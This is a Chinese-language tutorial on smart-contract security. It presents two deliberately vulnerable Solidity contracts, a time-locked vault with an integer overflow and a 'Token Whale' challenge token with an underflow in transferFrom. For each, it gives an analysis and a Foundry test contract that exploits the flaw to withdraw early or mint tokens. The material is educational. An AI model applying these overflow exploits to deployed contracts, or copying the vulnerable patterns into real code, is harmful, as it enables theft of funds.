区块链安全常见的攻击合约和简单复现,附带详细分析——整数溢出漏洞(Integrate Overflow)和 代币溢出漏洞(Token Whale Overflow)【1】
1、整数溢出漏洞(Integrate Overflow)
1.1 漏洞合约
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease; // vulnerable
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(
block.timestamp > lockTime[msg.sender],
"Lock time not expired"
);
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
1.2 bug分析
漏洞就在increaseLockTime函数中,
函数的原意图是用户可以增加资金锁定时间
通过mapping(address => uint) public lockTime;
可知lockTime[msg.sender]是uint函数,当值超过uint上限时就会从0开始
1.3 攻击分析
只要传入uint的最大值减去lockTime[msg.sender]当前的值,再加上1就会使得lockTime[msg.sender]归0
// 利用漏洞进行攻击
TimeLockContract.increaseLockTime(
type(uint).max + 1 - TimeLockContract.lockTime(bob)
); // 通过溢出将 Bob 的锁定时间重置为 0
1.4 攻击完整代码
contract ContractTest is Test {
TimeLock TimeLockContract; // TimeLock 合约实例
address alice; // Alice 地址
address bob; // Bob 地址
// 设置测试环境
function setUp() public {
TimeLockContract = new TimeLock();
alice = vm.addr(1); // 设置 Alice 地址
bob = vm.addr(2); // 设置 Bob 地址
vm.deal(alice, 1 ether); // 为 Alice 分配 1 Ether
vm.deal(bob, 1 ether); // 为 Bob 分配 1 Ether
}
// 测试整数溢出漏洞
function testOverflow() public {
console.log("Alice init balance", alice.balance); // 打印 Alice 的初始余额
console.log("Bob init balance", bob.balance); // 打印 Bob 的初始余额
console.log("Alice deposit 1 Ether...");
vm.prank(alice); // 将操作更改为 Alice 发起
TimeLockContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether
console.log("Alice balance", alice.balance); // 打印 Alice 存款后的余额
console.log("Bob deposit 1 Ether...");
vm.startPrank(bob); // 开始模拟 Bob 的操作
TimeLockContract.deposit{value: 1 ether}(); // Bob 存入 1 Ether
console.log("Bob balance", bob.balance); // 打印 Bob 存款后的余额
console.log("Bob start attack !!!! "); // 打印 Bob 存款后的余额
// 利用漏洞进行攻击
TimeLockContract.increaseLockTime(
type(uint).max + 1 - TimeLockContract.lockTime(bob)
); // 通过溢出将 Bob 的锁定时间重置为 0
// console.log(
// "Bob will successfully withdraw, because the lock time is overflowed"
// );
TimeLockContract.withdraw(); // Bob 成功提取 1 Ether
console.log("after attack, Bob balance", bob.balance); // 打印 Bob 提款后的余额
vm.stopPrank(); // 结束模拟 Bob 的操作
vm.prank(alice);
console.log(
"Alice will fail to withdraw, because the lock time did not expire"
);
TimeLockContract.withdraw(); // Alice 提现失败,因为锁定时间尚未到期
}
}
2、 代币巨鲸溢出漏洞(Token Whale Overflow)
2.1漏洞合约
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
2.2 bug分析
函数功能是:允许被授权的地址调用transferFrom函数,转移代币
当被授权地址的金额小于转账金额,就会导致整数下溢,金额变得非常大。
注意:这里跟ERC20不太一样,这里是被授权地址转移自己的代币,而ERC20是被授权地址转移授权地址的代币。
2.3 攻击过程
- 部署合约后,部署者会收到 1000 个代币。
- 部署者将 800 个代币转给 Alice,部署着剩下200个。
- Alice 授权攻击者可以使用 1000 个代币,假设这里的攻击者就是部署者。
- 攻击者调用
transferFrom
函数,转移 500 个代币到 Bob。 - 在
_transfer
函数的减法操作中,由于 攻击者 的余额不足,导致整数下溢。 - 下溢会使 攻击者 的余额变成一个极大的正数,从而“凭空”创造代币。
2.4 攻击合约
contract ContractTest is Test {
TokenWhaleChallenge TokenWhaleChallengeContract;
function testOverflow2() public {
// Alice 和 Bob 的地址
address alice = vm.addr(1);
address bob = vm.addr(2);
console.log("address(this): ", address(this));
console.log("address(alice): ", address(alice));
console.log("address(bob): ", address(bob));
// 部署 TokenWhaleChallenge 合约
TokenWhaleChallengeContract = new TokenWhaleChallenge();
TokenWhaleChallengeContract.TokenWhaleDeploy(address(this)); // 初始化合约
console.log(
"Player balance:",
TokenWhaleChallengeContract.balanceOf(address(this))
);
// 部署者将 800 个代币转给 Alice
TokenWhaleChallengeContract.transfer(address(alice), 800);
console.log(
"Player balance:",
TokenWhaleChallengeContract.balanceOf(address(this))
);
console.log(
"alice balance:",
TokenWhaleChallengeContract.balanceOf(address(alice))
);
// Alice 授权攻击者可以操作 1000 个代币
vm.prank(alice); // 使得下面这句代码的调用者是alice
TokenWhaleChallengeContract.approve(address(this), 1000);
// 利用漏洞进行攻击:通过 transferFrom 函数触发下溢
TokenWhaleChallengeContract.transferFrom(
address(alice),
address(bob),
201
); // 攻击发生在这里
console.log(
"after attack, alice balance:",
TokenWhaleChallengeContract.balanceOf(address(alice))
);
console.log("Exploit completed, balance overflowed");
console.log(
"Player balance:",
TokenWhaleChallengeContract.balanceOf(address(this))
);
}
// 接受以太币的回退函数
receive() external payable {}
}